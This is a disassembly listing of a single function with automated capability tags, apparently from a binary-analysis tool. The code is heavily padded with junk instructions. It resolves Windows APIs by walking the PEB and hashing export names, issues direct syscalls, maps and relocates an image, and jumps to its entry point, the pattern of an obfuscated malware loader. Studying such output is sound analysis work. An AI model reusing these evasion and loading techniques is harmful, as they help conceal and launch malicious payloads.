Function at 0x140446b5f
Capabilities:
Access peb ldr_data
Encode data using xor
Encrypt data using speck
Execute anti-debugging instructions
Get kernel32 base address
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
clc
push r13
cmp r15w, 0x14e2
clc
jmp 0x140446b72
push r12
clc
push rsi
test sil, 0x1d
cmp r8b, 0x26
jmp 0x140446b83
push rdi
test esi, 0x66447a89
push rbp
cmp rbp, rsi
cmc
clc
push rbx
cmc
cmp r11b, bpl
sub rsp, 0x78
cmp qword [0x1400dd010], 0
jmp 0x140446ba6
je 0x140446bf2
sub eax, eax
adc ch, 0x94
sal cl, 0xc6
lea rcx, [section.wNojeax0]
nop word cs:[rax + rax]
sub r15w, bp
bsf r15w, r12w
lea r15, [rax + 0x10]
cmp qword [rax + rcx + 0x20], 0
movsx rax, sp
mov rax, r15
jmp 0x140446be7
jne 0x140446bd1
jmp 0x140446bfc
xor r15d, r15d
rcr r13b, cl
shr r12w, cl
movabs r12, 0xcbf29ce484222325
sub r13, 0x3e1d296d
sub r10b, r11b
movabs r13, 0x1d12a89b9e723ff5
not r10d
sbb r10, rsp
shl r10w, cl
mov rcx, qword gs:[0x30]
btr r10, 0xff
and r8w, r10w
ror r10d, 0xc7
mov rcx, qword [rcx + 0x60]
ror r8w, 0x1e
mov r10, qword [rcx + 0x18]
cmovle r8d, esp
add r10, 0x10
movzx r8w, r13b
mov r8w, dx
movabs r8, 0x2cc10c8855a9a8cd
jmp 0x140446c67
jmp 0x140446c7a
cmp rbx, r8
jmp 0x140446c74
je 0x140446d74
mov r10, qword [r10]
sbb r9d, ebx
rcl r9b, cl
movzx r9d, ax
mov r9, qword [r10 + 0x30]
stc
test ecx, 0x9ce1dac
test r9, r9
je 0x140446fd1
mov r11, qword [r10 + 0x60]
mov dil, dl
btc rdi, rsp
mov rdi, 0xffffffffffffffff
cmc
cmp word [r11 + rdi*2 + 2], 0
lea rdi, [rdi + 1]
jmp 0x140446cbe
jne 0x140446cae
mov rbx, r12
jmp 0x140446ccd
test rdi, rdi
jmp 0x140446cd5
je 0x140446c6c
xor ecx, ecx
neg ah
cqo
mov rdx, r12
cmp al, r13b
stc
movzx bx, r14b
nop word [rax + rax]
rol sil, cl
add si, 0x565
shld bp, r11w, 0xb4
movzx ebx, word [r11 + rcx*2]
rol si, cl
lea ebp, [rbx - 0x41]
lea esi, [rbx - 0x410]
movsx ax, al
sal al, cl
lea eax, [rbx + 0x20]
cmp si, 0x20
jmp 0x140446d24
cmovb ebx, eax
cmp dh, 0x8f
cmp bp, 0x1a
jmp 0x140446d33
cmovb ebx, eax
movzx ebx, bx
cmc
xor rbx, rdx
sub dx, 0x35c8
test r14b, 0xdc
imul rbx, r13
jmp 0x140446d53
inc ecx
bts dx, si
sal dl, 0xd2
xadd dh, dh
mov rdx, rbx
test r15b, 0x64
cmp rcx, rdi
jb 0x140446d01
jmp 0x140446c6c
test r10, r10
jmp 0x140446d7c
je 0x140446fd1
movsxd rax, dword [r9 + 0x3c]
xor cl, r10b
cmovns edx, edi
test ch, 0x36
mov eax, dword [r9 + rax + 0x88]
bts dx, r9w
lea rcx, [r9 + rax]
or dl, 0x8b
cdq
test rax, rax
sets dh
movsx dx, spl
movsxd rdx, esp
cmove rcx, rax
and dx, r15w
mov qword [rsp + 0x38], rcx
xchg dl, dh
sub rdx, 0x2a2f4f8d
mov edx, dword [rcx + 0x18]
test edx, edx
je 0x140446fd1
mov rax, qword [rsp + 0x38]
mov ecx, dword [rax + 0x20]
cmp ch, 0xa2
cmovo r8w, di
add r10b, r8b
lea rcx, [rcx + r9]
btc r10w, bp
inc r10b
mov qword [rsp + 0x40], rcx
cmp al, spl
mov r8d, ecx
mov r10d, dword [rax + 0x24]
add r10, r9
mov r8d, dword [rax + 0x1c]
test dl, bpl
cmp edi, r15d
lea r8, [r8 + r9]
cmp r8w, cx
xor edi, edi
jmp 0x140446e1d
jmp 0x140446e4c
mov edx, dword [rsp + 0x20]
movsx ax, bpl
cdqe
inc eax
inc rdi
btr ax, r14w
cmp spl, r11b
mov eax, edx
cmc
clc
cmp rdi, rax
jmp 0x140446e46
jae 0x140446fd1
movzx ecx, word [r10 + rdi*2]
rcr bl, 0xd9
add bx, 0x37cf
mov ebx, dword [r8 + rcx*4]
jmp 0x140446e64
cmp dword [r9 + rbx], 0xb8d18b4c
jmp 0x140446e71
jne 0x140446e2f
mov dword [rsp + 0x20], edx
cbw
mov rax, qword [rsp + 0x40]
or bpl, 0xb9
movzx esi, bp
bt ebp, eax
mov esi, dword [rax + rdi*4]
lea rsi, [rsi + r9]
shl bpl, cl
btc bp, 0x5e
mov rbp, 0xffffffffffffffff
cmp r13b, r13b
jmp 0x140446eaa
nop dword [rax + rax]
test r15b, 0xfa
cmc
cmp byte [rsi + rbp + 1], 0
lea rbp, [rbp + 1]
jmp 0x140446ec2
jne 0x140446eb4
mov rcx, r12
jmp 0x140446ed0
test rbp, rbp
jmp 0x140446ed8
je 0x140446f55
sub r14d, r14d
movsx edx, di
test r13, 0x518e62b5
mov r11, r12
cdqe
and ecx, ecx
nop dword [rax]
adc ch, ch
inc al
movzx ecx, byte [rsi + r14]
lea edx, [rcx - 0x41]
lea eax, [rcx + 0x20]
cmc
cmp dl, 0x1a
jmp 0x140446f11
movzx eax, al
jmp 0x140446f19
cmovae eax, ecx
sbb cl, ch
add cl, r15b
movsx rcx, al
xor rcx, r11
clc
or r11b, 0xa5
rcl r11b, 0x59
imul rcx, r13
mov r11, rsi
movzx r11, bx
inc r14d
movzx r11w, cl
mov r11, rcx
cmp r14, rbp
jmp 0x140446f4f
jb 0x140446efd
mov rsi, qword [0x1400dd010]
stc
cmc
clc
test rsi, rsi
jmp 0x140446f67
je 0x140446e22
lea rbp, [0x1400dd020]
cmp esp, 0x73607ae1
nop word cs:[rax + rax]
cmp rsi, rcx
jmp 0x140446f91
je 0x140446fb5
mov rsi, qword [rbp]
cmp r11b, cl
add rbp, 0x10
test rsi, rsi
jmp 0x140446faa
jne 0x140446f89
jmp 0x140446e22
mov eax, dword [rbx + r9 + 4]
cwd
mov dword [rbp - 8], eax
mov rax, qword [rsp + 0x38]
movzx dx, r8b
mov edx, dword [rax + 0x18]
jmp 0x140446e2f
test r15, r15
je 0x140447073
sub ebp, ebp
sar dl, 0xfa
movsx bx, bpl
lea rbx, [section.wNojeax0]
or rdx, rdx
mov rcx, r12
adc edx, ebx
nop dword [rax]
sub dl, 8
cmc
shr dh, cl
movzx edx, byte [rbp + rbx + 0x10]
xor rcx, rdx
test al, 0xe4
imul rcx, r13
jmp 0x14044700f
inc ebp
cmc
cmp r14b, 0x5f
jmp 0x14044701b
cmp rbp, r15
jmp 0x140447023
jb 0x140446ffc
movabs rdx, 0xe9203a08b69f42e8
cmp r9b, 0x4e
lea rcx, [rcx + rdx]
btr rdx, 9
rcr dh, 0x25
shrd dx, sp, 0x82
movabs rdx, 0x52aea00e8a0b3911
xor rdx, rcx
shld cx, dx, 0x31
sar cl, cl
movabs rcx, 0xee16cad6b000daab
add rcx, rdx
jmp 0x14044706e
jmp 0x140447081
movabs rcx, 0xd5d341ba60cb39c7
rcl rax, 2
rol rcx, 0x16
sbb al, r11b
movabs rax, 0x957b6a83b7a0090f
test ecx, edx
test sil, 0xc8
xor rax, rcx
bt cx, 0xc7
or ch, 0xbf
movabs rcx, 0xec0e237d69308474
cmc
clc
lea rcx, [rcx + rax]
mov qword [0x1400b7208], rcx
cmp qword [0x1400de010], 0
je 0x140447104
sub ecx, ecx
lea rdx, [section.cJvFRax1]
movsx eax, r12w
nop
sub ah, 0xe6
cmovb ax, bx
bt ax, 0xe3
lea rax, [rcx + 0x10]
cmp qword [rcx + rdx + 0x20], 0
movzx rcx, r11w
mov rcx, rax
jmp 0x1404470f9
jne 0x1404470e3
jmp 0x14044710b
xor eax, eax
jmp 0x14044710b
mov qword [rsp + 0x60], rax
cmc
test r12b, r14b
sub ecx, ecx
jmp 0x14044711b
jmp 0x14044713c
mov rcx, qword [rsp + 0x30]
jmp 0x14044712a
inc rcx
cmp rcx, 8
jmp 0x140447136
je 0x14044750d
lea rax, [0x1400bfdf0]
adc r8w, r14w
mov qword [rsp + 0x30], rcx
or r8b, 0x6e
movsx r8, dx
ror r10d, cl
mov r8, qword [rax + rcx*8]
sal ah, 0x9e
shrd ax, si, 0xcb
clc
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
ror r10d, cl
shld r10w, r9w, 0x6f
mov r10, qword [rax + 0x18]
cmp rdx, 0x11d6021b
cmp al, bpl
test r8w, 0x76df
add r10, 0x10
jmp 0x1404471a5
cmp rdx, r8
jmp 0x14044719f
je 0x14044728f
mov r10, qword [r10]
bsr r11w, ax
mov r11, qword [r10 + 0x30]
test r11, r11
jmp 0x1404471b9
je 0x140447120
mov r14, qword [r10 + 0x60]
movzx rbx, ax
movsxd rbx, ebp
mov rbx, 0xffffffffffffffff
nop dword [rax]
stc
cmp word [r14 + rbx*2 + 2], 0
lea rbx, [rbx + 1]
jmp 0x1404471e6
jne 0x1404471d6
mov rdx, r12
cmp rdi, 0x7cec5881
test r14d, 0x503354b2
test rbx, rbx
je 0x140447197
xor ecx, ecx
cbw
rdtsc
sal bp, cl
mov rdi, r12
nop word [rax + rax]
movzx edx, r10w
stc
movzx eax, word [r14 + rcx*2]
bt dx, r9w
shr dl, 0x27
lea edx, [rax - 0x41]
clc
bt rbp, 0xcd
lea esi, [rax - 0x410]
cmc
mov bp, 0x4b89
shld rbp, r14, 0x58
lea ebp, [rax + 0x20]
cmp si, 0x20
cmovb eax, ebp
stc
cmp dx, 0x1a
cmovb eax, ebp
shrd rdx, r10, 0xef
cmp r15b, dl
movzx edx, ax
clc
cmp r10d, r12d
xor rdx, rdi
imul rdx, r13
movsx edi, r10w
cmovb di, r14w
inc ecx
bt edi, 0xbd
bswap di
mov rdi, rdx
stc
cmp rcx, rbx
jb 0x14044721d
jmp 0x140447197
test r10, r10
jmp 0x140447297
je 0x140447120
movzx eax, word [r11]
cmc
clc
cmp eax, 0x5a4d
jmp 0x1404472ad
jne 0x1404472f3
movsxd rax, dword [r11 + 0x3c]
bt ecx, 0xd1
add cl, r12b
lea rcx, [r11 + rax]
cmc
cmp dword [r11 + rax], 0x4550
movzx eax, r9w
bswap eax
cmove r9, r11
cdqe
setno al
cwde
mov rax, qword [rsp + 0x58]
jmp 0x1404472e5
cmove rax, rcx
jmp 0x1404472ee
jmp 0x1404472fd
mov rax, qword [rsp + 0x58]
or bpl, cl
sub ch, bl
mov qword [rsp + 0x58], rax
mov ecx, dword [rax + 0x88]
movzx rax, cx
movsx rax, r9w
lea rax, [r9 + rcx]
movzx bp, cl
sbb bp, r12w
mov bpl, 0x70
test rcx, rcx
movzx rbp, bp
not bpl
mov ebp, 0x75045d9e
cmove rax, rcx
mov ebp, dword [rax + 0x18]
cmc
jmp 0x14044733b
test ebp, ebp
je 0x140447120
mov r14d, dword [rax + 0x20]
sar rcx, cl
rol cl, 0xbb
add r14, r11
movsx ecx, r13w
rol cl, cl
mov ecx, dword [rax + 0x24]
lea rcx, [rcx + r11]
clc
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x20], rax
mov eax, dword [rax + 0x1c]
clc
cmp r8w, 0x4fb8
add rax, r11
mov qword [rsp + 0x38], rax
test spl, 0xe7
xor esi, esi
jmp 0x140447385
jmp 0x1404473fc
mov rax, qword [rsp + 0x40]
rcl dx, 0x1e
add dl, spl
movzx eax, word [rax + rsi*2]
xor bpl, 0x67
or edx, 0x5bcd1835
mov rdx, qword [rsp + 0x38]
cmp ebp, r13d
sub bpl, 0x54
mov eax, dword [rdx + rax*4]
cmp r10b, 0xf4
not bp
shr bp, 0x52
add rax, r11
mov qword [rcx - 8], rax
movsx ebp, si
mov rax, qword [rsp + 0x20]
movsx bp, spl
mov ebp, dword [rax + 0x18]
movsxd rax, r9d
movzx rax, r8w
not rax
inc rsi
sbb eax, 0x60bf5828
bts eax, esi
mov eax, ebp
test r9d, 0x73706908
cmp rsi, rax
jae 0x140447120
mov r8d, dword [r14 + rsi*4]
test ebx, esp
lea r8, [r8 + r11]
cmp r15b, r8b
mov rbx, 0xffffffffffffffff
cmc
test sil, r14b
nop dword [rax]
test bpl, dil
clc
cmp byte [r8 + rbx + 1], 0
jmp 0x140447427
lea rbx, [rbx + 1]
jne 0x14044741c
mov r10, r12
cmc
jmp 0x14044743a
test rbx, rbx
jmp 0x140447442
je 0x1404474b4
sub ecx, ecx
mov r15, r12
nop dword [rax]
rol dil, 0x8f
movzx edi, byte [r8 + rcx]
lea eax, [rdi - 0x41]
xor dx, si
lea edx, [rdi + 0x20]
xor r10, rdi
sbb r10w, r11w
cmp al, 0x1a
movzx eax, dl
cmovae eax, edi
bt r10d, edi
not r10b
mov r10b, r15b
movsx r10, al
clc
cmc
xor r10, r15
sbb r15b, bl
bts r15, r8
shrd r15, rdi, 0xdb
imul r10, r13
inc ecx
shl r15w, 0xd2
bswap r15w
mov r15, r10
cmp rcx, rbx
jmp 0x1404474ae
jb 0x140447458
mov rbx, qword [0x1400de010]
test rbx, rbx
jmp 0x1404474c3
je 0x1404473df
lea rcx, [0x1400de020]
nop dword [rax + rax]
cmp di, r9w
cmp rbx, r10
jmp 0x1404474e1
je 0x14044738a
mov rbx, qword [rcx]
jmp 0x1404474ef
add rcx, 0x10
test rsp, 0x2ab37fcf
test rbx, rbx
jmp 0x140447502
jne 0x1404474d9
jmp 0x1404473df
mov rax, qword [rsp + 0x60]
jmp 0x14044751a
test rax, rax
jmp 0x140447522
je 0x14044756f
xor ecx, ecx
lea rbp, [section.cJvFRax1]
movsxd rdx, edi
nop dword [rax]
movzx edx, byte [rcx + rbp + 0x10]
xor rdx, r12
bt r12d, 0xb6
imul rdx, r13
movzx r12d, di
mov r12w, sp
movsxd r12, eax
inc ecx
mov r12, rdx
cmp rdx, r11
clc
cmp rcx, rax
jmp 0x140447564
jb 0x140447537
jmp 0x140447576
mov rdx, r12
btr cx, bp
rol rdx, 0xb
or al, r9b
movsx ecx, bx
movabs rax, 0xdf7ad2359957b5f4
rcl cl, cl
xor cx, 0x7f5b
inc rcx
add rax, rdx
btr cx, dx
movsx ecx, ax
clc
rol rax, 0x16
btc ecx, 0x6b
sal cl, 0xc
movabs rcx, 0x4934245b3ce013cf
xor rcx, rax
xadd al, ah
and ax, r12w
movabs rax, 0x5b5c0083c64fa867
stc
add rax, rcx
mov cl, 0xb5
rol rax, 0xc
movabs rcx, 0xdd5421de87040723
cmc
add rcx, rax
rcr ax, 0xf7
bt ax, 0x7b
rcl ax, 0xa5
rol rcx, 0x25
mov qword [0x1400b7210], rcx
or ah, 0xcb
rol ax, 0x7e
adc al, r10b
mov eax, dword [0x7ffe0014]
bsr cx, dx
sal ch, cl
mov dword [0x1400b8eb8], eax
sbb cx, 0x31ba
rol cx, cl
movzx ecx, word [0x140000000]
clc
test ebx, r14d
cmp ecx, 0x5a4d
jmp 0x140447633
jne 0x140447677
movsxd rcx, dword [0x14000003c]
neg edx
lea rdx, [0x140000000]
clc
cmp dword [rcx + rdx], 0x4550
jmp 0x140447656
jne 0x140447677
lea rbx, [rcx + rdx]
lea r14, [rcx + rdx]
add r14, 0x108
bts ecx, r12d
movsx cx, dil
not r10b
imul eax, eax, 0x41c64e6d
cwd
xor cl, 6
add eax, 0x3039
shr dl, 0xc3
bt r12w, dx
xadd r13b, r12b
imul ecx, eax, 0x41c64e6d
add r9b, 0x95
sal bpl, cl
shr eax, 0x10
xor r9b, 0x44
movsx r12w, r8b
lea edx, [rax + rax*2]
stc
btr r12, rbp
shr edx, 0x10
mov ebp, eax
shl r13b, 0xea
sub ebp, edx
movsx r12, ax
bsf r12, rdi
movzx ebp, bp
movsxd r9, ebp
xchg r12b, r9b
shr ebp, 1
test r8w, 0x2fef
inc r13d
add ebp, edx
adc r9b, r11b
rcl dx, cl
or r9b, 0xba
movzx r13d, bp
test r15b, 0x28
shr r13d, 0xe
rol r12w, 0xc1
movsx r10d, r8w
bt dx, bx
add r13d, eax
cmc
rcr ah, 0x7e
and r13d, 0x3fff
cwde
rcr r12b, 0xc5
add r13d, 0xfff
adc r12, rbx
and dl, 0xc
and r13d, 0x7000
add ecx, 0x3039
mov dword [0x1400b8eb8], ecx
rdtsc
cwde
bts dx, r14w
shr ecx, 0x10
btc r9d, r13d
cdq
lea eax, [rcx + rcx*2]
bsr dx, r14w
dec dh
movsx r9, r8w
shr eax, 0x10
mov edx, ecx
add r9b, al
movzx r10, dx
sub edx, eax
movzx edx, dx
xadd r12b, r10b
cmovo r9d, edi
shl r12w, 0x3f
shr edx, 1
add edx, eax
shl r12b, cl
cbw
bt r9, rdi
movzx r12d, dx
movsx r10d, bx
shr r12d, 0xe
add r12d, ecx
and r12d, 0x3fff
test bpl, 9
clc
sub r10d, 0x5c14104e
add r12d, 0xfff
bt r10w, 0x57
rol cl, cl
rol ch, 0x75
and r12d, 0x7000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rbx
cbw
mov ecx, dword [rbx + 0x50]
sbb r10d, r9d
movsx rdx, r13w
add rcx, r12
add rcx, r13
shld dx, ax, 0x7a
xchg r10b, r9b
jmp 0x1404477e4
mov qword [rsp + 0x48], rcx
sar ax, cl
inc rdx
mov eax, dword [0x1400dd078]
lea rdx, [rsp + 0x28]
add r9w, ax
add r9d, 0xc13640c
lea r9, [rsp + 0x48]
mov r10, 0xffffffffffffffff
cmc
xor r8d, r8d
sub rsp, 0x40
mov qword [rsp + 0x28], 0x3000
jmp 0x140447827
mov qword [rsp + 0x30], 4
jmp 0x140447835
syscall
add rsp, 0x40
and r8w, r10w
movzx r8d, r11w
cmp r12b, r13b
mov rcx, qword [rsp + 0x28]
shrd r8d, r11d, 0x83
mov r8, qword [rsp + 0x48]
sub edx, edx
jmp 0x14044785c
call fcn.1404a83fa
mov r15, qword [rsp + 0x28]
test r13d, r13d
jmp 0x14044786e
je 0x140447a91
mov rcx, r13
add al, sil
movsx r8d, bx
shr rcx, 3
rcl bp, 0x40
rcr bl, 0xc6
bt rdx, 0xe0
cmp rcx, 2
cdq
mov bh, 4
mov r8d, 1
cmovae r8, rcx
bsr bx, r14w
stc
sub r9d, r9d
movzx ebx, bx
lahf
nop word cs:[rax + rax]
add bl, r9b
movsx bx, r12b
imul edx, dword [0x1400b8eb8], 0x41c64e6d
shrd edi, edx, 0xa4
bsf eax, edi
add edx, 0x3039
add rdi, r15
imul edi, edx, 0x41c64e6d
bts si, si
test r13b, 0x79
inc al
mov ebp, edx
shr ebp, 0x10
shl rax, 0x6d
stc
lea edx, [rbp + rbp*2]
shr edx, 0x10
stc
mov eax, ebp
shld cx, r13w, 0x2b
sub eax, edx
xor bl, sil
shr bl, cl
dec cx
movzx eax, ax
ror cl, cl
shr eax, 1
movzx rcx, bp
mov cl, r11b
add eax, edx
bts dx, r14w
dec ecx
add edi, 0x3039
adc rcx, 0x556c3972
bts cx, r8w
movzx edx, ax
mov eax, edi
shr eax, 0x10
movzx bx, cl
lea ebx, [rax + rax*2]
or sil, 0xa1
test rsi, 0x26865a02
shr edx, 0xe
rcl sil, 0x52
shr ebx, 0x10
btr ecx, esi
mov esi, eax
test r11b, r9b
xor cx, di
sub esi, ebx
mov ecx, edx
movzx esi, si
cmp rcx, r14
cmp spl, 0x92
shr esi, 1
cmp dil, bl
stc
add esi, ebx
shl ecx, 0xf
ror bx, cl
movzx ebx, si
movsxd rsi, esp
bsr esi, r9d
adc esi, ebp
shr ebx, 0xe
movsx rsi, sp
mov esi, ebx
sub edx, ecx
sete cl
shl esi, 0xf
sub ebx, esi
add ebx, eax
sbb cx, 0x6905
or cx, 0x5e86
movzx rax, di
add edx, ebp
xchg al, al
sub ebp, ebp
stc
sal ax, cl
cmp bx, 0x10
setb bpl
movzx rbx, r13w
and bl, 0xa
imul eax, edi, 0x41c64e6d
add eax, 0x3039
imul ecx, eax, 0x41c64e6d
mov bl, r10b
bts di, r15w
shr eax, 0x10
lea ebx, [rax + rax*2]
or dil, 0x21
shr ebx, 0x10
xor edi, 0x2ba51f74
bt edi, 0x4f
shr di, cl
mov edi, eax
sub edi, ebx
movzx edi, di
test cl, sil
shr edi, 1
add edi, ebx
rcl bh, cl
movzx edx, dx
and bl, spl
movzx ebx, di
cmc
rol dil, cl
bswap di
shr ebx, 0xe
mov edi, ebx
or rbp, rdx
shl edi, 0xf
cmc
jmp 0x140447a32
sub ebx, edi
test rsp, r15
add ebx, eax
test rax, 0x1b2b39ef
add ecx, 0x3039
sub eax, eax
mov al, 0x96
adc al, 0xbb
cmp bx, 0x20
setb al
test r14b, cl
mov dword [0x1400b8eb8], ecx
cmp di, 0x2ca7
or rax, rbp
jmp 0x140447a68
mov qword [r15 + r9*8], rax
inc r9
jmp 0x140447a78
cmp r8, r9
jmp 0x140447a80
jne 0x1404478bf
mov r15, qword [rsp + 0x28]
test r14w, 0x3f64
test r12, r12
jmp 0x140447a99
je 0x140447d34
sub r15, r12
add r15, qword [rsp + 0x48]
test rbx, rcx
lahf
shl ah, 0x87
shr r12, 3
sar esi, cl
bt rdi, rbp
cmp r12, 2
cdq
mov dl, 0x63
mov r8d, 1
not sil
cmovae r8, r12
bt edi, ecx
shr al, 0x6a
cqo
sub r9d, r9d
btr rbx, 3
bts edi, r10d
cmp dx, 0x35da
nop
imul edx, dword [0x1400b8eb8], 0x41c64e6d
stc
movsx edi, r12w
and bx, bx
add edx, 0x3039
bsr si, r8w
not rbp
neg eax
imul edi, edx, 0x41c64e6d
sbb rsi, 0x7e32653d
cmp al, r10b
mov ebp, edx
test sil, bpl
xor rax, 0x42ed2efd
ror sil, cl
shr ebp, 0x10
bts rcx, rsp
cdq
movsx si, bl
lea edx, [rbp + rbp*2]
lahf
shr edx, 0x10
bsf si, bp
mov ebx, ebp
sub ebx, edx
btc si, r9w
and cl, r10b
movzx ebx, bx
adc al, 0x46
shl cx, 0x66
test cl, 0x24
shr ebx, 1
bt eax, ecx
add ebx, edx
mov rdx, 0x74f635cd
btr eax, 0x85
add edi, 0x3039
movzx edx, bx
mov ebx, edi
shrd rsi, r11, 0x9a
shr ebx, 0x10
xchg cx, si
add ch, 0xdd
lea esi, [rbx + rbx*2]
shl al, 0x11
xor ax, 0x27e7
shr edx, 0xe
lahf
and ch, 0x7d
shr esi, 0x10
and cl, r8b
mov eax, ebx
sub eax, esi
xchg ch, cl
mov ecx, edx
cmp bpl, 0x53
test di, 0x308
movzx eax, ax
cmp r15b, 0xfb
cmp r12b, dil
shr eax, 1
test r11b, r12b
jmp 0x140447bbf
add eax, esi
mov sil, cl
movzx rsi, di
ror si, cl
shl ecx, 0xf
cmova rsi, rsi
movzx eax, ax
shr eax, 0xe
sar sil, 0x82
ror esi, cl
sub esi, 0x4dde3247
mov esi, eax
test cl, r14b
sub edx, ecx
stc
add rcx, rcx
btr cx, r15w
shl esi, 0xf
rcl rcx, 0x7c
sub eax, esi
test r9d, ecx
add eax, ebx
bswap rbx
movsx ebx, r10w
add edx, ebp
btc bx, 0xac
or ebx, r15d
sub ebp, ebp
rcr ch, 0x5d
bts ecx, ebx
cmp ax, 0x10
cbw
setb bpl
sub al, r13b
imul eax, edi, 0x41c64e6d
not edi
movsxd rbx, r14d
or bx, 0x43ae
add eax, 0x3039
btc di, r8w
xadd ebx, edi
imul ecx, eax, 0x41c64e6d
not bl
bsr ebx, r11d
shr eax, 0x10
and bx, 0x7725
lea ebx, [rax + rax*2]
sal dil, cl
sal dil, 0xf4
rcr dil, 0x3e
shr ebx, 0x10
inc dil
rcr dil, cl
sar dil, cl
mov edi, eax
test dx, 0x2df
sub edi, ebx
cmp ebx, 0x567724fc
movzx edi, di
cmc
shr edi, 1
stc
add edi, ebx
adc bx, 0x362a
xchg rbx, rbx
movzx edx, dx
dec bx
movzx ebx, di
dec dil
shrd edi, r8d, 0x77
shr di, 0xa7
shr ebx, 0xe
cmp r11b, 0x8d
mov edi, ebx
cmp r11b, 0xa1
cmc
or rbp, rdx
shl edi, 0xf
jmp 0x140447cc5
sub ebx, edi
jmp 0x140447ccc
add ebx, eax
add ecx, 0x3039
cmc
jmp 0x140447cda
sub eax, eax
jmp 0x140447ce1
cmp bx, 0x20
not al
mov al, dil
jmp 0x140447cef
setb al
test rax, 0x25082e32
mov dword [0x1400b8eb8], ecx
cmp spl, 0xbb
or rax, rbp
jmp 0x140447d0a
mov qword [r15 + r9*8], rax
inc r9
cmp r15w, 0x523a
cmp r8, r9
jne 0x140447ae7
mov r15, qword [rsp + 0x28]
test rax, r11
cmp r9w, 0x2e19
test ebx, 0x3c2f4b6b
mov rax, qword [rsp + 0x20]
clc
jmp 0x140447d3f
add r15, r13
stc
jmp 0x140447d48
movzx eax, word [rax + 6]
stc
test rax, rax
jmp 0x140447d55
je 0x140447e8d
shl rax, 3
bsf r12d, r8d
movsx rdx, cx
bt dx, 0x8c
lea rbp, [rax + rax*4]
lahf
rcr dh, cl
and al, r12b
xor edi, edi
xadd r8, rbx
mov ebx, 4
neg si
rcr rax, cl
lea rsi, [rsp + 0x70]
movzx r8, dx
add r12, 0x72046067
lea r12, [rsp + 0x68]
bts ecx, r13d
lea r13, [rsp + 0x54]
ror cx, cl
movzx eax, bx
neg r8w
nop dword [rax + rax]
mov edx, dword [r14 + rdi + 0xc]
bsf cx, r11w
bt ecx, 0x87
lea rcx, [r15 + rdx]
mov qword [rsp + 0x70], rcx
shr ah, cl
lea rax, [0x140000000]
add rdx, rax
xchg r8w, r8w
mov r8b, 0x63
mov r8d, dword [r14 + rdi + 8]
call fcn.1404a79a8
mov eax, dword [r14 + rdi + 8]
mov r8b, 0x9a
ror r8b, 0x12
shr r10b, cl
mov qword [rsp + 0x68], rax
not r9b
bts r10w, si
jmp 0x140447e09
mov dword [rsp + 0x54], 0
sub r10w, 0x570f
cmovp rdx, rbx
test dword [r14 + rdi + 0x24], 0x20000000
cwde
jmp 0x140447e2a
mov r9d, 0x40
mov r10w, r8w
cmove r9d, ebx
test rdi, rbx
mov eax, dword [0x1400dd088]
mov r10, 0xffffffffffffffff
clc
ror rdx, cl
mov rdx, rsi
mov r8, r12
sub rsp, 0x30
jmp 0x140447e5b
mov qword [rsp + 0x28], r13
jmp 0x140447e65
syscall
add rsp, 0x30
clc
jmp 0x140447e78
add rdi, 0x28
test r15, rsi
cmc
cmp ebp, edi
jmp 0x140447e87
jne 0x140447db4
lea rdx, [0x140000000]
mov rax, r15
sal ecx, cl
rcr si, cl
shr sil, cl
sub rax, rdx
mov rsi, qword [rsp + 0x20]
shrd cx, r8w, 0xf3
movzx cx, dh
test r14w, 0x19a9
mov ecx, dword [rsi + 0xb0]
cmp r15b, al
add rcx, rdx
jmp 0x140447ec8
je 0x140447fcc
mov r8d, 1
jmp 0x140447ed9
jmp 0x140447eea
mov ebx, dword [rcx + 4]
add rcx, rbx
je 0x140447fcc
cmp dword [rcx], 0
jmp 0x140447ef2
je 0x140447fcc
mov ebx, dword [rcx + 4]
test sp, 0x76d
test rbx, rbx
jmp 0x140447f08
je 0x140447fcc
lea rbp, [rbx - 8]
stc
clc
cmp rbp, 2
jmp 0x140447f1d
jb 0x140447ee1
shr rbp, 1
cmc
test r11b, sil
cmp esp, esi
cmp rbp, 2
jmp 0x140447f35
cmovb rbp, r8
test bpl, dil
sub ebx, ebx
jmp 0x140447f43
jmp 0x140447f93
and edi, 0xfff
dec dx
shrd dx, r9w, 0xef
cmp r13b, r10b
mov edx, dword [rcx]
test r11w, 0x5189
cmp r12w, 0x53fc
stc
add rdi, r15
cmp r10w, r10w
jmp 0x140447f75
add qword [rdx + rdi], rax
jmp 0x140447f7e
inc rbx
cmp r13w, r10w
cmp rbp, rbx
jmp 0x140447f8d
je 0x140447ede
movzx edi, word [rcx + rbx*2 + 8]
cmp edi, 0x1000
jmp 0x140447fa3
jb 0x140447f7e
mov edx, edi
test dil, r11b
shr edx, 0xc
clc
cmc
test al, al
cmp edx, 0xa
je 0x140447f48
cmp edx, 3
je 0x140447f48
jmp 0x140447f7e
mov ecx, dword [rsi + 0xd0]
jmp 0x140447fd7
movq xmm0, rax
pshufd xmm0, xmm0, 0x44
movdqu xmm1, xmmword [r15 + rcx]
jmp 0x140447fec
movdqu xmm2, xmmword [r15 + rcx + 0x10]
paddq xmm1, xmm0
movdqu xmmword [r15 + rcx], xmm1
paddq xmm2, xmm0
movdqu xmmword [r15 + rcx + 0x10], xmm2
sal ch, cl
adc ch, 0xaf
lea rdx, [0x14005d630]
sar cl, 0x1f
rol ecx, cl
mov cl, 0xeb
add rdx, rax
xchg ch, cl
movzx cx, dl
lea rcx, [0x140000000]
jmp 0x140448030
call rdx
nop
rol r14w, cl
not bpl
add rsp, 0x78
pop rbx
xchg r13b, r12b
seta r12b
not r15b
pop rbp
mov di, 0x56ad
movzx r12d, r12w
movsx r12d, cx
pop rdi
pop rsi
bswap r13w
pop r12
movzx r13d, r12w
jmp 0x14044806c
pop r13
movsxd r14, r13d
mov r14w, 0x6173
movzx r15d, r9w
pop r14
movsx r15, r13w
pop r15
jmp 0x140448087
ret